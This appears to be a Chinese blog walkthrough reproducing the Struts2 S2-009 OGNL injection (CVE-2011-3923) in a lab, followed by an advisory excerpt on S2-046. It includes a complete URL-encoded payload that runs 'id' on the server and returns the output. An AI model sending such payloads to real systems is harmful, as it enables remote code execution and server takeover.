struts-s2-009 代码执行(CVE-2011-3923)

漏洞描述:

这个漏洞跟s2-003 s2-005 属于一套的。 Struts2对s2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/HelloWorld.acton?example=&(example)(‘xxx’)=1的方法来执行它,从而绕过官方对#、\等特殊字符的过滤。

复现过程:

1.访问http://ip:port,出现如下页面,开始实验

2.访问漏洞触发地址

/ajax/example5.action

3.抓包,修改get请求,查询当前用户id

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

借此漏洞,攻击者可以执行任意的代码,例如协议脚本文件;向网站写入webshell;控制整个网站或者服务器。

修复建议:

1.升级版本。

  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
  一、漏洞简介     Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品:Struts 1和Struts 2。     Apache Struts 2.3.5 - 2.3.31版本及2.5 - 2.5.10版本存在远程代码执行漏洞(CNNVD-201703-15 2,CVE-2017-5638)。该漏洞与Apache Struts2 (S2-045)远程代码执行漏洞原理基本相同,均是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。      二、漏洞危害     攻击者可通过发送恶意构造的HTTP数据包利用该漏洞,在受影响服务器上执行系统命令,进一步可完全控制该服务器,造成拒绝服务、数据泄露、网站造篡改等影响。由于该漏洞利用无需任何前置条件(如开启dmi,debug等功能)以及启用任何插件,因此漏洞危害较为严重。     三、修复措施     目前,Apache官方已针对该漏洞发布安全公告,并且漏洞利用代码已被公布在互联网上,请受影响用户及时检查是否受该漏洞影响。另外,已通过升级方式修复了Apache Struts2 (S2-045)远程代码执行漏洞的用户,不在该漏洞影响的范围内。     【自查方式】     用户可查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar文件,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞。     【升级修复】     受影响用户可升级版本至Apache Struts 2.3.32 或 Apache Struts 2.5.10.1以消除漏洞影响。     官方公告: https://cwiki.apache.org/confluence/display/WW/S2-046 https://cwiki.apache.org/confluence/display/WW/S2-046

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值